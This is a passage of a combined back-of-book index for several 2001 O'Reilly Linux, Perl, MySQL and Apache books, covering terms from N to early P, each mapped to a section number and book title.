Notify files (CVS): 14.4.4.3. CVS directories (Linux in a Nutshell)
NOW( ) function: 15.1. MySQL SQL (MySQL & mSQL)
nowarn option (LILO): G.1. Global Options (Running Linux)
nph (non-parsed headers): Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
nrft# files: 8.1.1.1. Backing up to tape (Running Linux)
nroff: 9.3.2. groff (Running Linux)
Nsapi_auth_mysql: 4.5.2.5. Miscellaneous (MySQL & mSQL)
nsft# files: 8.1.1.1. Backing up to tape (Running Linux)
nslookup utility (TCP/IP): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
NT (see Windows operating systems)
1.8.3. Linux Versus Windows NT (Running Linux)
NTFS filesystems/partitions: 6.1.1. Filesystem Types (Running Linux)
mounting: 12.1.1. Mounting DOS, VFAT, and NTFS Partitions (Running Linux)
null file: 4.9. Saving Your Output (Running Linux)
8.2. Scheduling Jobs Using cron (Running Linux)
null list, equating arrays to: 17.1.5. undef Versus ( ) (CGI Programming with Perl)
NULL value: 2.1.2. Entity Attributes (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
NULL values: 3.2. Datatypes and NULL Values (Programming the Perl DBI)
4.6.1. Database-Specific Quote Handling (Programming the Perl DBI)
A.2.7.1. Null values (Programming the Perl DBI)
NULLABLE statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
A.7.2. Statement Handle Attributes (Programming the Perl DBI)
number command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
NUMBER numeric datatype: 3.2. Datatypes and NULL Values (Programming the Perl DBI)
numbered lists in HTML: 16.1.4.6. More HTML features (Running Linux)
numbering revisions (RCS): 14.8.2. Revision Numbering (Linux in a Nutshell)
numbers
bash arithmetic expressions: 7.5. Arithmetic Expressions (Linux in a Nutshell)
bc language for: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
evaluating expressions: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
file locks, indicating type: 10.1.1.1. flock (CGI Programming with Perl)
host: 1.2. What to Know About TCP/IP (Apache: The Definitive Guide)
line numbers/addresses: 11.4.5.1. Line numbering (Linux in a Nutshell)
11.12.1. Options (Linux in a Nutshell)
network: 1.2. What to Know About TCP/IP (Apache: The Definitive Guide)
2.4.6. Our Experimental Micro Web (Apache: The Definitive Guide)
octal, for permissions: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
in perl: 1.3.1. Why Perl? (CGI Programming with Perl)
port: 1.3. How Does Apache Use TCP/IP? (Apache: The Definitive Guide)
NUMERIC datatype: 15.1. MySQL SQL (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
numeric datatypes: 6.3.1. Numeric Types (MySQL & mSQL)
numeric testing: 4.6.4. Numeric Testing (Programming the Perl DBI)
NUM_OF_FIELDS statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
A.7.2. Statement Handle Attributes (Programming the Perl DBI)
NUM_OF_PARAMS statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
A.7.2. Statement Handle Attributes (Programming the Perl DBI)
nvi editor: 9.1. Editing Files Using vi (Running Linux)
NYS: 15.4.2. Configuring NIS (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: O

-odq option, sendmail: 9.4.2. Mail Queue (CGI Programming with Perl)
obase keyword: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
object files: 13.1.1. Quick Overview (Running Linux)
13.2. Makefiles (Running Linux)
(see also makefiles)
generating: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
profile data: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
size of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
symbol table for: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
object-oriented applications: 8.2. Data Processing (MySQL & mSQL)
object-oriented C++: 13.1. The Two APIs (MySQL & mSQL)
object-oriented database management systems (OODBMS): 6.1.1. The SQL Story (MySQL & mSQL)
object-oriented databases: 7.2.5. Objects (MySQL & mSQL)
object-oriented syntax, CGI.pm module: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
object-relational database management systems (ORDBMS): 6.1.1. The SQL Story (MySQL & mSQL)
object/relational modeling: 8.3. Object/Relational Modeling (MySQL & mSQL)
objects
CGI.pm
error messages for: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
$q prefix: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
Document Object Model, defining for HTML and XML documents: 7.1.1. History (CGI Programming with Perl)
HTML::Template, importing parameters from CGI.pm: 6.3.1. Syntax (CGI Programming with Perl)
Perl, DBM files, storing as: 10.2.2. MLDBM (CGI Programming with Perl)
printing HTTP headers in error handling: 5.5.3. Error Subroutines (CGI Programming with Perl)
WDDX, interpreting with JavaScript: 7.3.2. Example (CGI Programming with Perl)
obtaining
Dosemu, xdos emulators: 12.2.2. Getting Dosemu and xdos (Running Linux)
FreeBSD Unix: 1.6. Which Unix? (Apache: The Definitive Guide)
GNOME: B.6. Getting and Installing GNOME (Running Linux)
kernel sources: A.4. General Software FTP Sites (Running Linux)
7.4.1. Obtaining Kernel Sources (Running Linux)
Linux
mail order (hard media): 2.1.1. Getting Linux via Mail Order or Other Hard Media (Running Linux)
online sources: 2.1.3. Getting Linux from Other Online Sources (Running Linux)
over Internet: 2.1.2. Getting Linux from the Internet (Running Linux)
RZSZ package: H.1. Getting RZSZ (Running Linux)
oclock program: 11.4.6. Clocks (Running Linux)
OCT( ) function: 15.1. MySQL SQL (MySQL & mSQL)
octal numbers for permissions: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
octdec( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
OCTET_LENGTH( ) function: 15.1. MySQL SQL (MySQL & mSQL)
ODBC driver manager: 7. ODBC and the DBI (Programming the Perl DBI)
B. Driver and Database Characteristics (Programming the Perl DBI)
ODBC drivers
implementing SQL: 7.3.1. A Standard SQL Syntax (Programming the Perl DBI)
working with DBD::ODBC module: B. Driver and Database Characteristics (Programming the Perl DBI)
ODBC (Open Database Connectivity): 7. ODBC and the DBI (Programming the Perl DBI)
5.6.2.4. Programming interfaces (MySQL & mSQL)
5.6.2.4. Programming interfaces (MySQL & mSQL)
attributes and options: 7.3.4. Many Attributes and Options (Programming the Perl DBI)
combining with DBI: 7.5. The Marriage of DBI and ODBC (Programming the Perl DBI)
error codes: 7.3.2. Standard Error Codes (Programming the Perl DBI)
main features: 7.3.1. A Standard SQL Syntax (Programming the Perl DBI)
metadata functions: 7.3.3. Rich Metadata (Programming the Perl DBI)
using from Perl: 7.4. ODBC from Perl (Programming the Perl DBI)
using standard SQL: 7.3.1. A Standard SQL Syntax (Programming the Perl DBI)
odbm database manager: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
ODBM_File module: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
O_EXLOCK flag: 2.7.2. Locking Strategies (Programming the Perl DBI)
of variable (printcap): 8.4.5.3. The rest of the printcap variables (Running Linux)
offsets, superblock: 8.6.1. Repairing Filesystems (Running Linux)
<ol> HTML tag: 16.1.4.6. More HTML features (Running Linux)
old-GNOME project: B.2. A Brief History of the GNOME Project (Running Linux)
ON keyword: 6.8.1. MySQL Features (MySQL & mSQL)
onChange handler (JavaScript)
assigning multiple statements to: 7.2.1.1. Validating elements (CGI Programming with Perl)
filed validation functions, calling: 7.2.1.3. Validation example (CGI Programming with Perl)
validating HTML form elements: 7.2.1.1. Validating elements (CGI Programming with Perl)
onCheck attribute: 4.2.3.4. Checkboxes (CGI Programming with Perl)
onClick attribute
image buttons: 4.2.3.8. Image buttons (CGI Programming with Perl)
plain buttons: 4.2.3.9. Plain buttons (CGI Programming with Perl)
reset buttons: 4.2.3.7. Reset buttons (CGI Programming with Perl)
submit buttons: 4.2.3.6. Submit buttons (CGI Programming with Perl)
one-to-many (1-to-M) relationships: 2.2.5. Kinds of Relationships (MySQL & mSQL)
2.4. Physical Database Design (MySQL & mSQL)
one-to-one (1 to 1) relationships: 2.2.5. Kinds of Relationships (MySQL & mSQL)
one-way hashes: 5.7. Digest Authentication (Apache: The Definitive Guide)
onFocus, onBlur, and onChange attributes: 4.2.3.1. Text fields (CGI Programming with Perl)
onintr command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
online documentation (see man pages)
online help: 0.1.4. Online Linux Support (Linux in a Nutshell)
3.2.2. Getting Online Help (Running Linux)
online software store (example): 8.2.5. Trusting the Browser (CGI Programming with Perl)
onSubmit handler (JavaScript): 4.2.2. The <FORM> Tag (CGI Programming with Perl)
4.2.3.6. Submit buttons (CGI Programming with Perl)
7.2.1.2. Validating submits (CGI Programming with Perl)
7.3.2. Example (CGI Programming with Perl)
open( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
open command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
open function: 15.2.3. Is It Open? (CGI Programming with Perl)
PID of child process, checking: 15.2.3. Is It Open? (CGI Programming with Perl)
special, instigating fork: 8.2.4. fork and exec (CGI Programming with Perl)
open source: 7.1. What Is "Free"? (MySQL & mSQL)
open source modules for Perl on CPAN: 1.3.1. Why Perl? (CGI Programming with Perl)
Open Source Software: 1.7. Open Source and the Philosophy of Linux (Running Linux)
open system command: 15.2.2. Check Status of System Calls (CGI Programming with Perl)
Open tables, MySQL server status: 4.4.1.4. Server status (MySQL & mSQL)
opendir( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
open_event( ): 14.6.9.3. Event Functions (Apache: The Definitive Guide)
opening and closing tags: 14.2. An Introduction to XML (CGI Programming with Perl)
(see also closing tags)
HTML::Template commands: 6.3.1. Syntax (CGI Programming with Perl)
XML, use in: 14.2. An Introduction to XML (CGI Programming with Perl)
opening uploaded files, limiting attempts: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
openlog( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
OpenProjects IRC network: 0.1.4. Online Linux Support (Linux in a Nutshell)
Opens, MySQL server status: 4.4.1.4. Server status (MySQL & mSQL)
operating systems: 1.8. Differences Between Linux and Other Operating Systems (Running Linux)
binary and text files, distinguishing: 15.2.7. Use binmode (CGI Programming with Perl)
binmode function, support for: 13.2.1.1. binmode (CGI Programming with Perl)
booting wrong one: 3.3.4.2. Problems booting Linux from the hard drive (Running Linux)
CGI scripts, differences in handling of: 1.2.2. Invoking CGI Scripts (CGI Programming with Perl)
ColdFusion language, use on: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
end-of-file character, using: 15.3.3. Running Scripts from the Command Line (CGI Programming with Perl)
file names, variations in: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
forward slashes (/) separating directories: 12.3.1. Search Application (CGI Programming with Perl)
gcc compiler, obtaining pre-built binary of: B.1.1. Installing Modules (CGI Programming with Perl)
line endings
CGI scripts, not matching: 15.1.3. Line Endings (CGI Programming with Perl)
end-of-line characters, translating to \n: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
News module (example)differences in: 3.3.1.1. Outputting documents (CGI Programming with Perl)
Linux's advantages over other: 1.8. Differences Between Linux and Other Operating Systems (Running Linux)
not using newlines, calling binmode for: 3.4.1. Check the Client Browser (CGI Programming with Perl)
Perl
allowing to fork: 8.2.3. Security Strategies (CGI Programming with Perl)
speed differences in: 1.3.1. Why Perl? (CGI Programming with Perl)
storage locations on different: 15.1.2. The Pound-Bang (CGI Programming with Perl)
TrueType fonts, support of: 13.5.4. Image Processing (CGI Programming with Perl)
operators: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
-e operator: 13.5.4. Image Processing (CGI Programming with Perl)
-M operator: 6.2. Server Side Includes (CGI Programming with Perl)
12.3.1. Search Application (CGI Programming with Perl)
-T operator: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
12.3. Inverted Index Search (CGI Programming with Perl)
bash shell: 7.4.1. Variable Substitution (Linux in a Nutshell)
7.5.1. Operators (Linux in a Nutshell)
bc language: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
csh and tcsh: 8.5.1. Operators (Linux in a Nutshell)
gawk scripting language: 13.5. Operators (Linux in a Nutshell)
qq// operator: 5.4.2. Here Documents (CGI Programming with Perl)
string manipulation in perl: 1.3.1. Why Perl? (CGI Programming with Perl)
ops pragma: 2.5.1. The Perl Data::Dumper Module (Programming the Perl DBI)
optcd= parameter (linux): 3.1.1. Booting Linux (Running Linux)
Optics Storage Interface CD-ROM interfaces: 3.1.1. Booting Linux (Running Linux)
optimization, LILO and: 5.2.2.1. The /etc/lilo.conf file (Running Linux)
optimization and efficiency, CGI programs: 17. Efficiency and Optimization (CGI Programming with Perl)
FastCGI, using: 17.2. FastCGI (CGI Programming with Perl)
mod_perl, using: 17.3. mod_perl (CGI Programming with Perl)
Perl techniques for: 17.1. Basic Perl Tips, Top Ten (CGI Programming with Perl)
optimization of code: 13.1.2. gcc Features (Running Linux)
13.1.5. Optimizing (Running Linux)
14.1.1. Tracing a Program (Running Linux)
OPTIMIZE statement: 15.1. MySQL SQL (MySQL & mSQL)
optional (global) option (LILO): G.1. Global Options (Running Linux)
optional (image) option (LILO): G.2. Image Options (Running Linux)
OPTIONALLY keyword: 15.1. MySQL SQL (MySQL & mSQL)
options: 12.3. Inverted Index Search (CGI Programming with Perl)
(see also options under command line)
-il options for case-insensitive searches: 12.1. Searching One by One (CGI Programming with Perl)
GET requests: 4.1. Sending Data to the Server (CGI Programming with Perl)
POST requests: 4.1. Sending Data to the Server (CGI Programming with Perl)
sendmail: 9.4.1. Command-Line Options (CGI Programming with Perl)
Options directive: 3.11. Options (Apache: The Definitive Guide)
disabling ExecCGI option: 1.4.1.2. Configuring by extension (CGI Programming with Perl)
Includes option: 10. Server-Side Includes (Apache: The Definitive Guide)
Options ExecCGI: 3.11. Options (Apache: The Definitive Guide)
4.2. Writing and Executing Scripts (Apache: The Definitive Guide)
Options FollowSymLinks: 3.11. Options (Apache: The Definitive Guide)
3.11.1. FollowSymLinks, SymLinksIfOwnerMatch (Apache: The Definitive Guide)
Options FollowSymLinksIfOwnerMatch: 3.11.1. FollowSymLinks, SymLinksIfOwnerMatch (Apache: The Definitive Guide)
Options IncludesNoExec: 3.11. Options (Apache: The Definitive Guide)
Options Indexes: 3.11. Options (Apache: The Definitive Guide)
Options MultiViews: 3.11. Options (Apache: The Definitive Guide)
6.2. Content Negotiation (Apache: The Definitive Guide)
Options SymLinksIfOwnerMatch: 3.11. Options (Apache: The Definitive Guide)
ScriptAlias and: 4.2. Writing and Executing Scripts (Apache: The Definitive Guide)
OR logical operator: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
Oracle, PL/SQL programming language: 16.1.6. Separating Storage from Your Primary Code (CGI Programming with Perl)
Oracle, proprietary APIs: 14. Java and JDBC (MySQL & mSQL)
ORBit package and GNOME: 15. GNOME (Linux in a Nutshell)
ORBs (Object Request Brokers): B.5.2. The Common Object Request Broker Architecture (CORBA) (Running Linux)
ord( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
ORDER BY clause: 3.3.4.1. Ordering data (Programming the Perl DBI)
ORDER BY column: 15.1. MySQL SQL (MySQL & mSQL)
order directive: 5.6.5. Order (Apache: The Definitive Guide)
11.3. Server Status (Apache: The Definitive Guide)
order information, sending: 11.2. Hidden Fields (CGI Programming with Perl)
ordering databases: 6.7.3. Grouping and Ordering (MySQL & mSQL)
exp: 15.1. MySQL SQL (MySQL & mSQL)
OS/2: 5.2.2. Using LILO (Running Linux)
5.2.2.1. The /etc/lilo.conf file (Running Linux)
5.2.2.2. Using LILO as a secondary boot loader (Running Linux)
mSQL support for: 5.3. Installing mSQL (MySQL & mSQL)
5.6.2.4. Programming interfaces (MySQL & mSQL)
5.6.2.4. Programming interfaces (MySQL & mSQL)
os_escape_path( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
out-of-memory errors: 3.3.1. Problems with Booting the Installation Media (Running Linux)
outer joins: 3.3.3. Queries over Multiple Tables (Programming the Perl DBI)
output: 3.1.1.3. STDERR (CGI Programming with Perl)
(see also STDERR)
alternatives to CGI.pm for generating: 5.4. Alternatives for Generating Output (CGI Programming with Perl)
binary data, binmode function for: 13.2.1.1. binmode (CGI Programming with Perl)
buffering (see buffering)
CGI programs: 3.3. CGI Output (CGI Programming with Perl)
buffering: Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
caching by browsers: 5.3.1.3. Caching (CGI Programming with Perl)
complete (non-parsed) headers: Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
embedding in other programs: 6.2.6. Executing CGI Programs (CGI Programming with Perl)
partial headers: 3.3.1. Partial Headers (CGI Programming with Perl)
SSI parsing of: 6.2. Server Side Includes (CGI Programming with Perl)
status codes and: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
CGI.pm
HTML, generating with: 5.3. Generating Output with CGI.pm (CGI Programming with Perl)
HTTP headers, generating with: 5.3. Generating Output with CGI.pm (CGI Programming with Perl)
cron utility: 8.2. Scheduling Jobs Using cron (Running Linux)
echo command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
errors
handling: 5.5. Handling Errors (CGI Programming with Perl)
handling with CGI::Carp module: 5.5.2. CGI::Carp (CGI Programming with Perl)
handling with error subroutines: 5.5.3. Error Subroutines (CGI Programming with Perl)
existing components, modifying with Mason: 6.5.1. A Component Approach (CGI Programming with Perl)
external applications, including in HTML documents: 6.2.1. Configuration (CGI Programming with Perl)
Mason module, modifying: 6.5.1. A Component Approach (CGI Programming with Perl)
paging through: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
printing files to stdout: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
printing filters (see filters, printing)
redirection: 7.3.6. Redirection Forms (Linux in a Nutshell)
4.9. Saving Your Output (Running Linux)
from SSI directives: 6.2.4. Tailoring SSI Output (CGI Programming with Perl)
stream, unbuffering: 15.2.6. Unbuffer Output Stream (CGI Programming with Perl)
tee command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
terminal I/O options: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
translating stdin to stdout: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
output columns, binding Perl variables: 5.4. Binding Output Columns (Programming the Perl DBI)
output to shells: 13.2. Apache's Security Precautions (Apache: The Definitive Guide)
outputting image data: 13.2. Outputting Image Data (CGI Programming with Perl)
dynamic images
in HTML: 13.2.2. Including Dynamic Images in HTML (CGI Programming with Perl)
random images, CGI script returning: 13.2.1. An Example (CGI Programming with Perl)
overlay_tables( ): 14.6.3. Table Functions (Apache: The Definitive Guide)
overrides: 5.12. Overrides (Apache: The Definitive Guide)
overriding senders email addresses: 9.4.1. Command-Line Options (CGI Programming with Perl)
Overwrite mode (Emacs): 9.2.8. Tailoring Emacs (Running Linux)
overwriting files: 4.9. Saving Your Output (Running Linux)
8.1. Making Backups (Running Linux)
owd variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
ownership, file (see permissions)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.13. File Ownership and Permissions (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: P

-P PORT option: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
<p> HTML tag: 16.1.4.1. HTML basics (Running Linux)
\p command: 17.2. mSQL Utilities (MySQL & mSQL)
P command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
pa|patch commands (CVS) (see rdiff command (CVS))
pack( ): 2.5.1. The Perl Data::Dumper Module (Programming the Perl DBI)
Perl objects and: 2.7.3.2. Packing in Perl objects (Programming the Perl DBI)
storing data in DBM files: 2.7.3.1. Localized storage and retrieval (Programming the Perl DBI)
package flags: 5.2.3. Package Flags (Linux in a Nutshell)
package managers: 5. Red Hat and Debian Package Managers (Linux in a Nutshell)
packages
package function, declaring Perl module package: 5.5.4. Custom Module (CGI Programming with Perl)
in Perl: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
13.4.2. More Features (Running Linux)
installing with RPM: 7.3. Using RPM (Running Linux)
packaging tools, Debian: 5.2. The Debian Package Manager (Linux in a Nutshell)
packet filtering: 13.4.1. Packet Filtering (Apache: The Definitive Guide)
packets: 15.1.1. TCP/IP Concepts (Running Linux)
packing files (see archiving files; compression)
padding fields, character data types: 10.3.1. Creating a Database (CGI Programming with Perl)
pager, fvwm: 11.2. The fvwm Window Manager (Running Linux)
Pager module, fvwm2: 17.3. A Modular Approach (Linux in a Nutshell)
multiple desktops, specifying: 17.9. Having Multiple Desktops (Linux in a Nutshell)
pages
blank printed: 8.4.14. Printer System Troubleshooting (Running Linux)
document, Ghostview and: 11.4.8. Ghostview: Displaying PostScript (Running Linux)
length of: 8.4.5.3. The rest of the printcap variables (Running Linux)
size (Ghostview): 11.4.8. Ghostview: Displaying PostScript (Running Linux)
Web (see World Wide Web)
palloc( ): 14.6.1. Pool Functions (Apache: The Definitive Guide)
PAM (Pluggable Authentication Methods): 5.7.3. PAM and Other Authentication Methods (Running Linux)
Pam_mysql: 4.5.2.5. Miscellaneous (MySQL & mSQL)
panel, KDE (see KDE, panel)
Panel menu, GNOME: 15.2.1. Additional Panels (Linux in a Nutshell)
15.3. The Main Menu (Linux in a Nutshell)
panels, GNOME (see GNOME, panels)
PAP (Password Authentication Protocol): 15.2.1.3.5. PAP and CHAP (Running Linux)
paragraphs, Emacs and: 10.3.4. Paragraphs and Regions (Linux in a Nutshell)
10.3.13. Indentation Commands (Linux in a Nutshell)
parallel port support: 7.4.2. Building the Kernel (Running Linux)
param method: 5.2.2. Accessing Parameters (CGI Programming with Perl)
6.3.1. Syntax (CGI Programming with Perl)
file upload element, using as file handle: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
index keywords, retrieving: 5.2.2.3. Index queries (CGI Programming with Perl)
uploaded files, accessing names of: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
parameter files, Loadlin: 4.3.1. Using a Parameter File (Linux in a Nutshell)
parameters (see bind values)
boot: 4.3. Loadlin: Booting from MS-DOS (Linux in a Nutshell)
4.5. Boot-time Kernel Options (Linux in a Nutshell)
clearing all: 5.2.2.1. Modifying parameters (CGI Programming with Perl)
cookies: 11.3.1. Setting Cookies (CGI Programming with Perl)
restrictions applying to: 11.3.1. Setting Cookies (CGI Programming with Perl)
disk: 4.2.1.1. Global options (Linux in a Nutshell)
email addresses, passing through shells as: 9.1.1. Mailers and Shells (CGI Programming with Perl)
exporting to namespaces: 5.2.3. Exporting Parameters to a Namespace (CGI Programming with Perl)
forms
capturing to offline file: 15.3.3. Running Scripts from the Command Line (CGI Programming with Perl)
CGI.pm module, prompting for: 15.3.3. Running Scripts from the Command Line (CGI Programming with Perl)
passing as arguments to CGI scripts: 15.3.3. Running Scripts from the Command Line (CGI Programming with Perl)
looping as conditions: 6.3.1.2. Conditionals (CGI Programming with Perl)
modifying within CGI script: 5.2.2.1. Modifying parameters (CGI Programming with Perl)
passing without equal sign (=): 4.3. Decoding Form Input (CGI Programming with Perl)
parent processes: 8.2.4. fork and exec (CGI Programming with Perl)
parentheses ( ) after XML element names: 14.3. Document Type Definition (CGI Programming with Perl)
parse_form_data (example script): 4.3. Decoding Form Input (CGI Programming with Perl)
parseHTTPdate( ): 14.6.10. Time and Date Functions (Apache: The Definitive Guide)
parsers
HTML static documents: 6.3. HTML::Template (CGI Programming with Perl)
XML
different ways of parsing: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
syntax, simplicity of: 14.2. An Introduction to XML (CGI Programming with Perl)
validation rules, separating from: 14.3. Document Type Definition (CGI Programming with Perl)
writing: 14.4. Writing an XML Parser (CGI Programming with Perl)
XML::Parser: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
XML::Parser module: 14.3. Document Type Definition (CGI Programming with Perl)
parse_str( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
parsing
CGI output with SSI: 6.2. Server Side Includes (CGI Programming with Perl)
cookies with CGI.pm: 11.3.1. Setting Cookies (CGI Programming with Perl)
HTML documents: 14.2. An Introduction to XML (CGI Programming with Perl)
inserting identifiers, code for: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
for links: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
for Perl code: 6.4. Embperl (CGI Programming with Perl)
URL encoding: 2.1.3. URL Encoding (CGI Programming with Perl)
XML documents
tag and: 14.3. Document Type Definition (CGI Programming with Perl)
without DTDs: 14.3. Document Type Definition (CGI Programming with Perl)
parsing headers: 15.3.11. Header Parser (Apache: The Definitive Guide)
parsing paths and URLs: 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
partial headers: 3.3.1. Partial Headers (CGI Programming with Perl)
Location header: 3.3.1.2. Forwarding to another URL (CGI Programming with Perl)
Status header: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
partition= option (LILO): G.1. Global Options (Running Linux)
partition table: 2.2.2. Repartitioning Concepts (Running Linux)
partitioning disks: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
partitions/filesystems: 1.4.2. A Bag of Features (Running Linux)
2.2.2. Repartitioning Concepts (Running Linux)
2.2.3. Linux Partition Requirements (Running Linux)
3.3.2.3. Problems with SCSI controllers and devices (Running Linux)
building kernel and: 7.4.2. Building the Kernel (Running Linux)
creating: 3.1.5. Creating the Filesystems (Running Linux)
creating with fdisk (see fdisk utility)
/etc/fstab file: 3.2.3. Editing /etc/fstab (Running Linux)
filesystems on partitions: 6.1.4. Creating Filesystems (Running Linux)
on hard-disk partitions: 6.1.4. Creating Filesystems (Running Linux)
Linux requirements: 2.2.3. Linux Partition Requirements (Running Linux)
Linux/m86k: E.4.2. Partitioning and Filesystems (Running Linux)
LinuxPPC on Macintosh: D.3.1. Getting the Mac Ready for Linux (Running Linux)
Linux/SPARC systems: F.3.3. Partitioning Disks (Running Linux)
managing: 6.1. Managing Filesystems (Running Linux)
mounting: 3.1.1. Booting Linux (Running Linux)
6.1.2. Mounting Filesystems (Running Linux)
15.4.1. Configuring NFS (Running Linux)
automatically: 6.1.3. Automounting Devices (Running Linux)
names for: 3.1.2. Drives and Partitions Under Linux (Running Linux)
NFS (see NFS)
repairing: 6.1.5. Checking and Repairing Filesystems (Running Linux)
8.6.1. Repairing Filesystems (Running Linux)
repartitioning: 2.2.4. Repartitioning Your Drives (Running Linux)
swap: 6.2.1. Creating Swap Space (Running Linux)
swap partitions: 2.2.3. Linux Partition Requirements (Running Linux)
3.1.3. Creating Linux Partitions (Running Linux)
3.1.4. Creating Swap Space (Running Linux)
LinuxPPC installation: D.3.2. Partitioning the Hard Disk (Running Linux)
MS-DOS emulators: 12.2.1. DOS Emulators: Dosemu and xdos (Running Linux)
Wine emulator: 12.2.4. Windows Emulation: Wine (Running Linux)
types of: 6.1. Managing Filesystems (Running Linux)
6.1.1. Filesystem Types (Running Linux)
unmounting: 6.1.2. Mounting Filesystems (Running Linux)
virtual: 6.1.1. Filesystem Types (Running Linux)
Windows paritions (shares)
serving: 12.1.3. Using Samba to Serve SMB Shares (Running Linux)
Windows partitions (shares): 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
mounting: 12.1.1. Mounting DOS, VFAT, and NTFS Partitions (Running Linux)
MTools for DOS partitions: 12.1.4. Utilities for Accessing DOS Filesystems: MTools (Running Linux)
sharing files with Linux: 12.1. Sharing Files (Running Linux)
sharing programs with Linux: 12.2. Sharing Programs (Running Linux)
pas16= parameter (linux): 3.1.1. Booting Linux (Running Linux)
Pascal language: 13.7. Other Languages (Running Linux)
PassEnv directive: 4.6.3. PassEnv (Apache: The Definitive Guide)
passwd command: 3.2.1. Creating a User Account (Running Linux)
4.2. Setting a Password (Running Linux)
5.7.5. Creating Accounts (Running Linux)
5.7.7. Modifying User Accounts (Running Linux)
passwd file: 3.2.1. Creating a User Account (Running Linux)
5.7.1. The passwd File (Running Linux)
8.6.2. Accessing Damaged Files (Running Linux)
passwd file (CVS): 14.3.3.11. The passwd file (Linux in a Nutshell)
PASSWORD( ) function: 15.1. MySQL SQL (MySQL & mSQL)
$password argument: A.3.1. DBI Class Methods (Programming the Perl DBI)
Password Authentication Protocol (PAP): 15.2.1.3.5. PAP and CHAP (Running Linux)
password NEWPASSWORD command: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
password= option (LILO): G.1. Global Options (Running Linux)
G.2. Image Options (Running Linux)
password password command: 17.1. MySQL Utilities (MySQL & mSQL)
password server (CVS) (see pserver)
password-stealing example: 9.4.2. Security (MySQL & mSQL)
passwords: 2.4.2.10. WWW-Authenticate (CGI Programming with Perl)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.3.4.3. Problems logging in (Running Linux)
